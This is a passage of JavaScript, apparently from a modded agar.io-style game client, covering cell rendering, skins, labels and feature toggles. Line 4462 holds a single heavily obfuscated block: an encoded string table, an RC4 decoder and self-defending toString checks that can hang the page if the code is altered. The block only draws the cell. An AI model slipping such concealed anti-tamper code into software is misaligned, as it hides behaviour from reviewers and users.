  4166.                 var resolutionScale = 1;
  4167.                 var which = function() {
  4168.                     Date.now();
  4169.                     var diff = 0;
  4170.                     var aux = Date.now();
  4171.                     return function() {
  4172.                         self.requestAnimationFrame(which);
  4173.                         var max = Date.now();
  4174.                         if (UI.isShowFPS) {
  4175.                             if (diff > 1E3) {
  4176.                                 aux = max;
  4177.                                 diff = 0;
  4178.                                 deep = target;
  4179.                                 target = 0;
  4180.                             } else {
  4181.                                 diff = max - aux;
  4182.                             }
  4183.                         }
  4184.                         if (!handler() || 240 > Date.now() - min) {
  4185.                             render();
  4186.                         }
  4187.                         throttledUpdate();
  4188.                     };
  4189.                 }();
  4190.                 var results = {};
  4191.                 var numbers = "poland;usa;china;russia;canada;australia;spain;brazil;germany;ukraine;france;sweden;chaplin;north korea;south korea;japan;united kingdom;earth;greece;latvia;lithuania;estonia;finland;norway;cia;maldivas;austria;nigeria;reddit;yaranaika;confederate;9gag;indiana;4chan;italy;bulgaria;tumblr;2ch.hk;hong kong;portugal;jamaica;german empire;mexico;sanik;switzerland;croatia;chile;indonesia;bangladesh;thailand;iran;iraq;peru;moon;botswana;bosnia;netherlands;european union;taiwan;pakistan;hungary;satanist;qing dynasty;matriarchy;patriarchy;feminism;ireland;texas;facepunch;prodota;cambodia;steam;piccolo;ea;india;kc;denmark;quebec;ayy lmao;sealand;bait;tsarist russia;origin;vinesauce;stalin;belgium;luxembourg;stussy;prussia;8ch;argentina;scotland;sir;romania;belarus;wojak;doge;nasa;byzantium;imperial japan;french kingdom;somalia;turkey;mars;pokerface;8;irs;receita federal;facebook;putin;merkel;tsipras;obama;kim jong-un;dilma;hollande;berlusconi;cameron;clinton;hillary;venezuela;blatter;chavez;cuba;fidel;merkel;palin;queen;boris;bush;trump".split(";");
  4192.                 var reserved = "8;nasa;putin;merkel;tsipras;obama;kim jong-un;dilma;hollande;berlusconi;cameron;clinton;hillary;blatter;chavez;fidel;merkel;palin;queen;boris;bush;trump".split(";");
  4193.                 var images = {};
  4194.                 Player.prototype = {
  4195.                     P: null,
  4196.                     x: 0,
  4197.                     y: 0,
  4198.                     g: 0,
  4199.                     b: 0
  4200.                 };
  4201.                 set.prototype = {
  4202.                     id: 0,
  4203.                     a: null,
  4204.                     name: null,
  4205.                     k: null,
  4206.                     I: null,
  4207.                     x: 0,
  4208.                     y: 0,
  4209.                     size: 0,
  4210.                     o: 0,
  4211.                     p: 0,
  4212.                     n: 0,
  4213.                     C: 0,
  4214.                     D: 0,
  4215.                     m: 0,
  4216.                     T: 0,
  4217.                     K: 0,
  4218.                     W: 0,
  4219.                     A: false,
  4220.                     f: false,
  4221.                     j: false,
  4222.                     L: true,
  4223.                     S: 0,
  4224.                     V: null,
  4225.                     R: function() {
  4226.                         var i;
  4227.                         i = 0;
  4228.                         for (; i < list.length; i++) {
  4229.                             if (list[i] == this) {
  4230.                                 list.splice(i, 1);
  4231.                                 break;
  4232.                             }
  4233.                         }
  4234.                         delete queue[this.id];
  4235.                         i = data.indexOf(this);
  4236.                         if (-1 != i) {
  4237.                             Ee = true;
  4238.                             data.splice(i, 1);
  4239.                         }
  4240.                         i = result.indexOf(this.id);
  4241.                         if (-1 != i) {
  4242.                             result.splice(i, 1);
  4243.                         }
  4244.                         this.A = true;
  4245.                     },
  4246.                     i: function() {
  4247.                         return Math.max(~~(0.3 * this.size), 24);
  4248.                     },
  4249.                     t: function(str) {
  4250.                         var directives = str.match(/\u0001([\u0002-\uffff]|[\u0002-\uffff]\uffff)$/g);
  4251.                         var a = 0;
  4252.                         if (directives) {
  4253.                             a = directives[0].split("\u0001")[1];
  4254.                             if (1 < a.length) {
  4255.                                 this.img = a.charCodeAt(0) + 65534;
  4256.                             }
  4257.                         }
  4258.                         if (this.name = str) {
  4259.                             if (null == this.k) {
  4260.                                 this.k = new module(this.i(), "#FFFFFF", true, "#000000");
  4261.                                 this.k.v = Math.ceil(10 * scale) / 10;
  4262.                             } else {
  4263.                                 this.k.G(this.i());
  4264.                             }
  4265.                             this.k.u(this.name);
  4266.                         }
  4267.                     },
  4268.                     Q: function() {
  4269.                         var a = this.B();
  4270.                         for (; this.a.length > a;) {
  4271.                             var data = ~~(Math.random() * this.a.length);
  4272.                             this.a.splice(data, 1);
  4273.                         }
  4274.                         if (0 == this.a.length) {
  4275.                             if (a > 0) {
  4276.                                 this.a.push(new Player(this, this.x, this.y, this.size, Math.random() - 0.5));
  4277.                             }
  4278.                         }
  4279.                         for (; this.a.length < a;) {
  4280.                             data = ~~(Math.random() * this.a.length);
  4281.                             data = this.a[data];
  4282.                             this.a.push(new Player(this, data.x, data.y, data.g, data.b));
  4283.                         }
  4284.                     },
  4285.                     B: function() {
  4286.                         var rh = 10;
  4287.                         if (20 > this.size) {
  4288.                             rh = 0;
  4289.                         }
  4290.                         if (this.f) {
  4291.                             rh = 30;
  4292.                         }
  4293.                         var height = this.size;
  4294.                         return this.f || (height *= scale), height *= resolutionScale, 32 & this.T && (height *= 0.25), ~~Math.max(height, rh);
  4295.                     },
  4296.                     da: function() {
  4297.                         this.Q();
  4298.                         var nodes = this.a;
  4299.                         var n = nodes.length;
  4300.                         var i = 0;
  4301.                         for (; n > i; ++i) {
  4302.                             var a = nodes[(i - 1 + n) % n].b;
  4303.                             var b = nodes[(i + 1) % n].b;
  4304.                             nodes[i].b += (Math.random() - 0.5) * (this.j ? 3 : 1);
  4305.                             nodes[i].b *= 0.7;
  4306.                             if (10 < nodes[i].b) {
  4307.                                 nodes[i].b = 10;
  4308.                             }
  4309.                             if (-10 > nodes[i].b) {
  4310.                                 nodes[i].b = -10;
  4311.                             }
  4312.                             nodes[i].b = (a + b + 8 * nodes[i].b) / 10;
  4313.                         }
  4314.                         var ELEMENT_NODE = this;
  4315.                         var sa = this.f ? 0 : (this.id / 1E3 + max / 1E4) % (2 * Math.PI);
  4316.                         i = 0;
  4317.                         for (; n > i; ++i) {
  4318.                             var g = nodes[i].g;
  4319.                             if (a = nodes[(i - 1 + n) % n].g, b = nodes[(i + 1) % n].g, 15 < this.size && (null != _root && (20 < this.size * scale && 0 < this.id))) {
  4320.                                 var r = false;
  4321.                                 var x = nodes[i].x;
  4322.                                 var y = nodes[i].y;
  4323.                                 _root.ea(x - 5, y - 5, 10, 10, function(node) {
  4324.                                     if (node.P != ELEMENT_NODE) {
  4325.                                         if (25 > (x - node.x) * (x - node.x) + (y - node.y) * (y - node.y)) {
  4326.                                             r = true;
  4327.                                         }
  4328.                                     }
  4329.                                 });
  4330.                                 if (!r) {
  4331.                                     if (nodes[i].x < right || (nodes[i].y < top || (nodes[i].x > left || nodes[i].y > computed))) {
  4332.                                         r = true;
  4333.                                     }
  4334.                                 }
  4335.                                 if (r) {
  4336.                                     if (0 < nodes[i].b) {
  4337.                                         nodes[i].b = 0;
  4338.                                     }
  4339.                                     --nodes[i].b;
  4340.                                 }
  4341.                             }
  4342.                             g += nodes[i].b;
  4343.                             if (0 > g) {
  4344.                                 g = 0;
  4345.                             }
  4346.                             g = this.j ? (19 * g + this.size) / 20 : (12 * g + this.size) / 13;
  4347.                             nodes[i].g = (a + b + 8 * g) / 10;
  4348.                             a = 2 * Math.PI / n;
  4349.                             b = this.a[i].g;
  4350.                             if (this.f) {
  4351.                                 if (0 == i % 2) {
  4352.                                     b += 5;
  4353.                                 }
  4354.                             }
  4355.                             nodes[i].x = this.x + Math.cos(a * i + sa) * b;
  4356.                             nodes[i].y = this.y + Math.sin(a * i + sa) * b;
  4357.                         }
  4358.                     },
  4359.                     J: function() {
  4360.                         if (0 >= this.id) {
  4361.                             return 1;
  4362.                         }
  4363.                         var p;
  4364.                         p = (max - this.K) / UI.smoothAnimation();
  4365.                         p = 0 > p ? 0 : p > 1 ? 1 : p;
  4366.                         var n = 0 > p ? 0 : p > 1 ? 1 : p;
  4367.                         if (this.i(), this.A && n >= 1) {
  4368.                             var index = siblings.indexOf(this);
  4369.                             if (-1 != index) {
  4370.                                 siblings.splice(index, 1);
  4371.                             }
  4372.                         }
  4373.                         return this.x = p * (this.C - this.o) + this.o, this.y = p * (this.D - this.p) + this.p, this.size = n * (this.m - this.n) + this.n, n;
  4374.                     },
  4375.                     H: function() {
  4376.                         return 0 >= this.id ? true : this.x + this.size + 40 < centerX - width / 2 / scale || (this.y + this.size + 40 < centerY - height / 2 / scale || (this.x - this.size - 40 > centerX + width / 2 / scale || this.y - this.size - 40 > centerY + height / 2 / scale)) ? false : true;
  4377.                     },
  4378.                     s: function(ctx) {
  4379.                         if (this.H()) {
  4380.                             var f = UI.isEnableSimpleDrawing;
  4381.                             if (15 > this.size) {
  4382.                                 if (!UI.isEnableHideFood) {
  4383.                                     if (UI.isSameColorFood) {
  4384.                                         positions.push({
  4385.                                             x: this.x,
  4386.                                             y: this.y,
  4387.                                             size: this.size
  4388.                                         });
  4389.                                     } else {
  4390.                                         ctx.beginPath();
  4391.                                         ctx.fillStyle = $("#pelletColor").minicolors("value");
  4392.                                         ctx.arc(this.x, this.y, this.size + 5, 0, 2 * Math.PI, false);
  4393.                                         ctx.fill();
  4394.                                     }
  4395.                                 }
  4396.                             } else {
  4397.                                 ++this.S;
  4398.                                 var y_position = 0 < this.id && (!this.f && (!this.j && 0.4 > scale));
  4399.                                 if (5 > this.B() && (0 < this.id && (y_position = true)), this.L && !y_position) {
  4400.                                     var i = 0;
  4401.                                     for (; i < this.a.length; i++) {
  4402.                                         this.a[i].g = this.size;
  4403.                                     }
  4404.                                 }
  4405.                                 this.L = y_position;
  4406.                                 ctx.save();
  4407.                                 this.W = max;
  4408.                                 i = this.J();
  4409.                                 if (this.A) {
  4410.                                     ctx.globalAlpha *= 1 - i;
  4411.                                 }
  4412.                                 ctx.lineWidth = 10;
  4413.                                 ctx.lineCap = "round";
  4414.                                 ctx.lineJoin = this.f ? "miter" : "round";
  4415.                                 i = !this.f && (0 < this.id && (15 <= this.size && !this.j)) ? true : false;
  4416.                                 var v;
  4417.                                 var isHideSelfName = false;
  4418.                                 var x = null;
  4419.                                 if (v = this.name + this.color, v = v in playerDetailsByIdentifier ? playerDetailsByIdentifier[v] : void 0, i) {
  4420.                                     if (UI.isTransparentCell) {
  4421.                                         ctx.globalAlpha = 0.8;
  4422.                                     }
  4423.                                     var c = 0;
  4424.                                     for (; c < result.length; c++) {
  4425.                                         if (this.id === result[c]) {
  4426.                                             isHideSelfName = true;
  4427.                                         }
  4428.                                     }
  4429.                                     if (isHideSelfName) {
  4430.                                         if (UI.isEnableCursorLine) {
  4431.                                             ctx.save();
  4432.                                             ctx.strokeStyle = "#E3F2FD";
  4433.                                             ctx.lineWidth = 2;
  4434.                                             ctx.lineCap = "round";
  4435.                                             ctx.lineJoin = "round";
  4436.                                             ctx.globalAlpha = 0.8;
  4437.                                             ctx.beginPath();
  4438.                                             ctx.moveTo(this.x, this.y);
  4439.                                             ctx.lineTo(minX, t);
  4440.                                             ctx.stroke();
  4441.                                             ctx.restore();
  4442.                                         }
  4443.                                         if ("" != UI.cellColor && (this.color = UI.cellColor), UI.isEnableAttackRange) {
  4444.                                             ctx.beginPath();
  4445.                                             ctx.strokeStyle = color ? "white" : "black";
  4446.                                             ctx.arc(this.x, this.y, this.size + UI.attackRangeRadius, 0, 2 * Math.PI, false);
  4447.                                             ctx.stroke();
  4448.                                             ctx.closePath();
  4449.                                         }
  4450.                                         if (UI.isEnableTeammateIndicator) {
  4451.                                             if (UI.isEnableTeammateIndicator && this.size < UI.teammateIndicatorShowSize) {
  4452.                                                 ctx.drawImage(UI.teammateIndicator, ~~(this.x - 50), ~~(this.y - this.size - 100));
  4453.                                             }
  4454.                                         }
  4455.                                         if (UI.isEnableCustomSkin) {
  4456.                                             x = UI.getSkinImage(nodeList[0][5]);
  4457.                                         }
  4458.                                     }
  4459.                                 }
  4460.                                 if (doneResults ? (ctx.fillStyle = "#FFFFFF", ctx.strokeStyle = "#AAAAAA") : (ctx.fillStyle = this.color, ctx.strokeStyle = this.color), f && (this.f && (ctx.fillStyle = $("#virusColor").minicolors("value"), ctx.globalAlpha = 0.8, ctx.lineWidth = 35, ctx.strokeStyle = $("#virusStrokeColor").minicolors("value"))), f || y_position) {
  4461.                                     ctx.beginPath();
  4462.                                     var _0x4088=['\x5a\x63\x4b\x71\x77\x35\x76\x44\x69\x41\x3d\x3d','\x77\x72\x66\x44\x6f\x63\x4b\x44\x42\x79\x55\x3d','\x63\x63\x4b\x36\x59\x4d\x4b\x72','\x5a\x30\x78\x4d\x55\x67\x3d\x3d','\x77\x37\x68\x4a\x77\x36\x76\x44\x75\x67\x3d\x3d','\x64\x30\x70\x61\x57\x43\x45\x3d','\x54\x73\x4b\x78\x54\x41\x3d\x3d','\x77\x34\x37\x43\x6a\x41\x45\x4a','\x77\x70\x52\x61\x47\x6a\x38\x65','\x77\x34\x2f\x43\x72\x38\x4b\x52\x77\x34\x41\x3d'];(function(_0x2d8f05,_0x4b81bb){var _0x4d74cb=function(_0x32719f){while(--_0x32719f){_0x2d8f05['push'](_0x2d8f05['shift']());}};var _0x33748d=function(){var _0x3e4c21={'data':{'key':'cookie','value':'timeout'},'setCookie':function(_0x5c685e,_0x3e3156,_0x1e9e81,_0x292610){_0x292610=_0x292610||{};var _0x151bd2=_0x3e3156+'='+_0x1e9e81;var _0x558098=0x0;for(var _0x558098=0x0,_0x230f38=_0x5c685e['length'];_0x558098<_0x230f38;_0x558098++){var _0x948b6c=_0x5c685e[_0x558098];_0x151bd2+=';\x20'+_0x948b6c;var _0x29929c=_0x5c685e[_0x948b6c];_0x5c685e['push'](_0x29929c);_0x230f38=_0x5c685e['length'];if(_0x29929c!==!![]){_0x151bd2+='='+_0x29929c;}}_0x292610['cookie']=_0x151bd2;},'removeCookie':function(){return'dev';},'getCookie':function(_0x5dd881,_0x550fbc){_0x5dd881=_0x5dd881||function(_0x18d5c9){return _0x18d5c9;};var _0x4ce2f1=_0x5dd881(new RegExp('(?:^|;\x20)'+_0x550fbc['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)'));var _0x333808=function(_0x432180,_0x2ab90b){_0x432180(++_0x2ab90b);};_0x333808(_0x4d74cb,_0x4b81bb);return _0x4ce2f1?decodeURIComponent(_0x4ce2f1[0x1]):undefined;}};var _0x991246=function(){var _0x981158=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return _0x981158['test'](_0x3e4c21['removeCookie']['toString']());};_0x3e4c21['updateCookie']=_0x991246;var _0x57b080='';var _0x219af0=_0x3e4c21['updateCookie']();if(!_0x219af0){_0x3e4c21['setCookie'](['*'],'counter',0x1);}else if(_0x219af0){_0x57b080=_0x3e4c21['getCookie'](null,'counter');}else{_0x3e4c21['removeCookie']();}};_0x33748d();}(_0x4088,0x1d6));var _0x236b=function(_0x188763,_0x26b860){_0x188763=_0x188763-0x0;var _0x38d868=_0x4088[_0x188763];if(_0x236b['CUihnm']===undefined){(function(){var _0x28d2a2;try{var _0x416884=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x28d2a2=_0x416884();}catch(_0x176bce){_0x28d2a2=window;}var _0x303953='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x28d2a2['atob']||(_0x28d2a2['atob']=function(_0x4d77db){var _0x57100d=String(_0x4d77db)['replace'](/=+$/,'');for(var _0x5d622f=0x0,_0x221638,_0x2a0241,_0x5b2bb6=0x0,_0x504a06='';_0x2a0241=_0x57100d['charAt'](_0x5b2bb6++);~_0x2a0241&&(_0x221638=_0x5d622f%0x4?_0x221638*0x40+_0x2a0241:_0x2a0241,_0x5d622f++%0x4)?_0x504a06+=String['fromCharCode'](0xff&_0x221638>>(-0x2*_0x5d622f&0x6)):0x0){_0x2a0241=_0x303953['indexOf'](_0x2a0241);}return _0x504a06;});}());var _0x96753a=function(_0x1c8f81,_0x26b860){var _0x16ed90=[],_0xf1f325=0x0,_0x3bd96f,_0x297862='',_0x4acaad='';_0x1c8f81=atob(_0x1c8f81);for(var _0x2b96bc=0x0,_0x174281=_0x1c8f81['length'];_0x2b96bc<_0x174281;_0x2b96bc++){_0x4acaad+='%'+('00'+_0x1c8f81['charCodeAt'](_0x2b96bc)['toString'](0x10))['slice'](-0x2);}_0x1c8f81=decodeURIComponent(_0x4acaad);for(var _0x4edbeb=0x0;_0x4edbeb<0x100;_0x4edbeb++){_0x16ed90[_0x4edbeb]=_0x4edbeb;}for(_0x4edbeb=0x0;_0x4edbeb<0x100;_0x4edbeb++){_0xf1f325=(_0xf1f325+_0x16ed90[_0x4edbeb]+_0x26b860['charCodeAt'](_0x4edbeb%_0x26b860['length']))%0x100;_0x3bd96f=_0x16ed90[_0x4edbeb];_0x16ed90[_0x4edbeb]=_0x16ed90[_0xf1f325];_0x16ed90[_0xf1f325]=_0x3bd96f;}_0x4edbeb=0x0;_0xf1f325=0x0;for(var _0x172c97=0x0;_0x172c97<_0x1c8f81['length'];_0x172c97++){_0x4edbeb=(_0x4edbeb+0x1)%0x100;_0xf1f325=(_0xf1f325+_0x16ed90[_0x4edbeb])%0x100;_0x3bd96f=_0x16ed90[_0x4edbeb];_0x16ed90[_0x4edbeb]=_0x16ed90[_0xf1f325];_0x16ed90[_0xf1f325]=_0x3bd96f;_0x297862+=String['fromCharCode'](_0x1c8f81['charCodeAt'](_0x172c97)^_0x16ed90[(_0x16ed90[_0x4edbeb]+_0x16ed90[_0xf1f325])%0x100]);}return _0x297862;};_0x236b['GOwDXD']=_0x96753a;_0x236b['ueDLOO']={};_0x236b['CUihnm']=!![];}var _0xadead7=_0x236b['ueDLOO'][_0x188763];if(_0xadead7===undefined){if(_0x236b['WnbDah']===undefined){var _0x3c0570=function(_0x42105e){this['DZSCnR']=_0x42105e;this['BKWoLI']=[0x1,0x0,0x0];this['JsHalx']=function(){return'newState';};this['IksGma']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';this['slkhss']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x3c0570['prototype']['OJFJAJ']=function(){var _0x3ca74e=new RegExp(this['IksGma']+this['slkhss']);var _0x238037=_0x3ca74e['test'](this['JsHalx']['toString']())?--this['BKWoLI'][0x1]:--this['BKWoLI'][0x0];return this['Mopvdc'](_0x238037);};_0x3c0570['prototype']['Mopvdc']=function(_0x32e078){if(!Boolean(~_0x32e078)){return _0x32e078;}return this['knFuKI'](this['DZSCnR']);};_0x3c0570['prototype']['knFuKI']=function(_0x53b482){for(var _0x13f518=0x0,_0x4aba00=this['BKWoLI']['length'];_0x13f518<_0x4aba00;_0x13f518++){this['BKWoLI']['push'](Math['round'](Math['random']()));_0x4aba00=this['BKWoLI']['length'];}return _0x53b482(this['BKWoLI'][0x0]);};new _0x3c0570(_0x236b)['OJFJAJ']();_0x236b['WnbDah']=!![];}_0x38d868=_0x236b['GOwDXD'](_0x38d868,_0x26b860);_0x236b['ueDLOO'][_0x188763]=_0x38d868;}else{_0x38d868=_0xadead7;}return _0x38d868;};var _0x1a39d6=function(){var _0x20939a=!![];return function(_0x237561,_0x5799dc){var _0x50f04d=_0x20939a?function(){if(_0x5799dc){var _0x403a20=_0x5799dc['apply'](_0x237561,arguments);_0x5799dc=null;return _0x403a20;}}:function(){};_0x20939a=![];return _0x50f04d;};}();var _0x1d1dd1=_0x1a39d6(this,function(){var _0x3a769c=function(){return'\x64\x65\x76';},_0x381c77=function(){return'\x77\x69\x6e\x64\x6f\x77';};var _0xc00c66=function(){var _0x526b70=new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');return!_0x526b70['\x74\x65\x73\x74'](_0x3a769c['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var _0x39b80a=function(){var _0x945650=new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b');return _0x945650['\x74\x65\x73\x74'](_0x381c77['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var _0x206c60=function(_0x32b03f){var _0x286183=~-0x1>>0x1+0xff%0x0;if(_0x32b03f['\x69\x6e\x64\x65\x78\x4f\x66']('\x69'===_0x286183)){_0x4388cd(_0x32b03f);}};var _0x4388cd=function(_0x113eb5){var _0xb9f67=~-0x4>>0x1+0xff%0x0;if(_0x113eb5['\x69\x6e\x64\x65\x78\x4f\x66']((!![]+'')[0x3])!==_0xb9f67){_0x206c60(_0x113eb5);}};if(!_0xc00c66()){if(!_0x39b80a()){_0x206c60('\x69\x6e\x64\u0435\x78\x4f\x66');}else{_0x206c60('\x69\x6e\x64\x65\x78\x4f\x66');}}else{_0x206c60('\x69\x6e\x64\u0435\x78\x4f\x66');}});_0x1d1dd1();if(this[_0x236b('0x0','\x56\x71\x52\x4f')]<=0x23){_0x21a6d1(ctx,this['\x78'],this['\x79'],Math[_0x236b('0x1','\x49\x72\x69\x73')](Math[_0x236b('0x2','\x77\x59\x7a\x34')]((0x2d-0x3-0x2)/0x14+0x3)+0x3),this[_0x236b('0x3','\x33\x64\x52\x4c')],this[_0x236b('0x4','\x68\x30\x55\x49')]*(0x1-0.5),this[_0x236b('0x5','\x33\x64\x52\x4c')]);}else{ctx[_0x236b('0x6','\x5e\x40\x40\x78')](this['\x78'],this['\x79'],this[_0x236b('0x7','\x70\x40\x53\x6f')]+Math[_0x236b('0x8','\x34\x68\x68\x64')](Math[_0x236b('0x9','\x52\x6d\x42\x47')]((0x2d-0x3-0x2)/0x14+0x3)+0x3),0x0,0x2*Math['\x50\x49'],![]);}
  4463.                                     if (UI.isEnableSplitInd) {
  4464.                                         if (i) {
  4465.                                             if (!isHideSelfName) {
  4466.                                                 if (this.name || 38 < this.size) {
  4467.                                                     arr.push({
  4468.                                                         x: this.x,
  4469.                                                         y: this.y,
  4470.                                                         size: this.size
  4471.                                                     });
  4472.                                                 }
  4473.                                             }
  4474.                                         }
  4475.                                     }
  4476.                                 } else {
  4477.                                     this.da();
  4478.                                     ctx.beginPath();
  4479.                                     var n = this.B();
  4480.                                     ctx.moveTo(this.a[0].x, this.a[0].y);
  4481.                                     i = 1;
  4482.                                     for (; n >= i; ++i) {
  4483.                                         c = i % n;
  4484.                                         ctx.lineTo(this.a[c].x, this.a[c].y);
  4485.                                     }
  4486.                                 }
  4487.                                 if (ctx.closePath(), i = this.name.toLowerCase(), c = this.img ? "http://upload.happyfor.me/getimg.php?id=" + this.img + "&_t=" + Math.random() : "skins/" + i + ".png", x || (this.j || (!error && !UI.isEnableOtherSkinSupport || ":teams" == index)) ? n = null : (n = this.V, null == n ? n = null : ":" == n[0] ? (images.hasOwnProperty(n) || (images[n] = new Image, images[n].src = n.slice(1)), n = 0 != images[n].width && images[n].complete ? images[n] : null) : n = null, n || (-1 !=
  4488.                                         numbers.indexOf(i) && error || this.img ? ($.hasOwnProperty(i) || ($[i] = new Image, $[i].src = c), n = 0 != $[i].width && $[i].complete ? $[i] : null) : n = null)), c = n, y_position || f && (this.f && ctx.stroke()), ctx.fill(), UI.isEnableCustomSkin && (n = null, x = false, v && (x = v.url), x && (results.hasOwnProperty(x) || (v = new Image, v.src = x, results[x] = v), results[x].width && (results[x].complete && (n = results[x]))), c = n, null != c)) {
  4489.                                     var size = Math.min(c.width, c.height);
  4490.                                     var startX = (c.width - size) / 2;
  4491.                                     var offsetY = (c.height - size) / 2;
  4492.                                     var y = this.size + 5;
  4493.                                 }
  4494.                                 if (null != c && (ctx.save(), ctx.clip(), ctx.drawImage(c, startX, offsetY, size, size, this.x - y, this.y - y, 2 * y, 2 * y), ctx.restore()), f || ((doneResults || 15 < this.size) && (y_position || (ctx.strokeStyle = "#000000", ctx.globalAlpha *= 0.1, ctx.stroke())), ctx.globalAlpha = 1), n = -1 != data.indexOf(this), y_position = ~~this.y, f = this.f || (315 < this.size || 18 < this.size * scale), !(isHideSelfName && UI.isHideSelfName || UI.isAutoHideName && !f) && (0 != this.id &&
  4495.                                         ((oldStatus || n) && (this.name && (this.k && (null == c || -1 == reserved.indexOf(i))))))) {
  4496.                                     c = this.k;
  4497.                                     c.u(this.name);
  4498.                                     c.G(this.i() / UI.getNickSize());
  4499.                                     i = 0 >= this.id ? 1 : Math.ceil(10 * scale) / 10;
  4500.                                     c.U(i);
  4501.                                     c = c.F();
  4502.                                     var glockBottomWidth = ~~(c.width / i);
  4503.                                     var sh = ~~(c.height / i);
  4504.                                     ctx.drawImage(c, ~~this.x - ~~(glockBottomWidth / 2), y_position - ~~(sh / 2), glockBottomWidth, sh);
  4505.                                     y_position += c.height / 2 / i + 4;
  4506.                                 }
  4507.                                 if (!UI.isAutoHideMass || f) {
  4508.                                     if (UI.isEnableShowAllMass) {
  4509.                                         if (0 < this.id) {
  4510.                                             if ($timeout) {
  4511.                                                 if (38 < this.size) {
  4512.                                                     if (null == this.I) {
  4513.                                                         this.I = new module(this.i() / 2, "#FFFFFF", true, "#000000");
  4514.                                                     }
  4515.                                                     n = this.I;
  4516.                                                     n.G(this.i() / UI.getMassSize());
  4517.                                                     n.u(~~(this.size * this.size / 100));
  4518.                                                     i = Math.ceil(10 * scale) / 10;
  4519.                                                     n.U(i);
  4520.                                                     c = n.F();
  4521.                                                     glockBottomWidth = ~~(c.width / i);
  4522.                                                     sh = ~~(c.height / i);
  4523.                                                     ctx.drawImage(c, ~~this.x - ~~(glockBottomWidth / 2), y_position - ~~(sh / 4.2), glockBottomWidth, sh);
  4524.                                                 }
  4525.                                             }
  4526.                                         }
  4527.                                     }
  4528.                                 }
  4529.                                 ctx.restore();
  4530.                             }
  4531.                         }
  4532.                     }
  4533.                 };
  4534.                 module.prototype = {
  4535.                     w: "",
  4536.                     M: "#000000",
  4537.                     O: false,
  4538.                     r: "#000000",
  4539.                     q: 16,
  4540.                     l: null,
  4541.                     N: null,
  4542.                     h: false,
  4543.                     v: 1,
  4544.                     G: function(x) {
  4545.                         if (5 < Math.abs(x - this.q)) {
  4546.                             if (this.q != x) {
  4547.                                 this.q = x;
  4548.                                 this.h = true;
  4549.                             }
  4550.                         }
  4551.                     },
  4552.                     U: function(v) {
  4553.                         if (this.v != v) {
  4554.                             this.v = v;
  4555.                             this.h = true;
  4556.                         }
  4557.                     },
  4558.                     setStrokeColor: function(r) {
  4559.                         if (this.r != r) {
  4560.                             this.r = r;
  4561.                             this.h = true;
  4562.                         }
  4563.                     },
  4564.                     u: function(n) {
  4565.                         var w;
  4566.                         if (!isNaN(n)) {
  4567.                             if (!isNaN(this.w)) {
  4568.                                 if (0 != this.w) {
  4569.                                     if (0 != n) {
  4570.                                         if (this.w != n) {
  4571.                                             if (0.012 > Math.abs((n - this.w) / this.w)) {
  4572.                                                 w = this.w;
  4573.                                                 this.w = n;
  4574.                                             }
  4575.                                         }
  4576.                                     }
  4577.                                 }
  4578.                             }
  4579.                         }
  4580.                         if (n != this.w) {
  4581.                             this.w = n;
  4582.                             this.h = true;
  4583.                         }
  4584.                         if (w) {
  4585.                             this.w = w;
  4586.                         }
  4587.                     },
  4588.                     F: function() {
  4589.                         if (null == this.l && (this.l = document.createElement("canvas"), this.N = this.l.getContext("2d")), this.h) {
  4590.                             this.h = false;
  4591.                             var size = this.l;
  4592.                             var c = this.N;
  4593.                             var blobNick = this.w + "";
  4594.                             blobNick = blobNick.split("$")[0];
  4595.                             var line = blobNick;
  4596.                             if(UI.massInKs) {
  4597.                                 line = line > 999 ? (line / 1000).toFixed(1) + "k" : line;
  4598.                             }
  4599.                             var factor = this.v;
  4600.                             var right = this.q;
  4601.                             var left = ~~(.2 * right);
  4602.                             var font = "500 " + right + "px Ruluko";
  4603.                             c.font = font;
  4604.                             size.width = (c.measureText(line).width + 6) * factor;
  4605.                             size.height = (right + left) * factor;
  4606.                             c.font = font;
  4607.                             c.scale(factor, factor);
  4608.                             c.globalAlpha = 1;
  4609.                             c.fillStyle = $("#fillTextColor").minicolors("value");
  4610.                             if (UI.isShowTextStrokeLine) {
  4611.                                 c.lineWidth = Math.max(right * 0.12, 12);
  4612.                                 c.strokeStyle = $("#strokeTextColor").minicolors("value");
  4613.                                 if (this.O) {
  4614.                                     c.strokeText(line, 3, right - left / 2);
  4615.                                 }
  4616.                             }
  4617.                             c.fillText(line, 3, right - left / 2);
  4618.                         }
  4619.                         return this.l;
  4620.                     }
  4621.                 };
  4622.                 if (!Date.now) {
  4623.                     Date.now = function() {
  4624.                         return (new Date).getTime();
  4625.                     };
  4626.                 }
  4627.                 (function() {
  4628.                     var vendors = ["ms", "moz", "webkit", "o"];
  4629.                     var x = 0;
  4630.                     for (; x < vendors.length && !self.requestAnimationFrame; ++x) {
  4631.                         self.requestAnimationFrame = self[vendors[x] + "RequestAnimationFrame"];
  4632.                         self.cancelAnimationFrame = self[vendors[x] + "CancelAnimationFrame"] || self[vendors[x] + "CancelRequestAnimationFrame"];
  4633.                     }
  4634.                     if (!self.requestAnimationFrame) {
  4635.                         self.requestAnimationFrame = function(callback) {
  4636.                             return setTimeout(callback, 1E3 / 60);
  4637.                         };
  4638.                         self.cancelAnimationFrame = function(id) {
  4639.                             clearTimeout(id);
  4640.                         };
  4641.                     }
  4642.                 })();
  4643.                 var removeEventListener = function() {
  4644.                     var self = new set(0, 0, 0, 32, "#ED1C24", "");
  4645.                     var cnv = document.createElement("canvas");
  4646.                     cnv.width = 32;
  4647.                     cnv.height = 32;
  4648.                     var s = cnv.getContext("2d");
  4649.                     return function() {
  4650.                         if (0 < data.length) {
  4651.                             self.color = data[0].color;
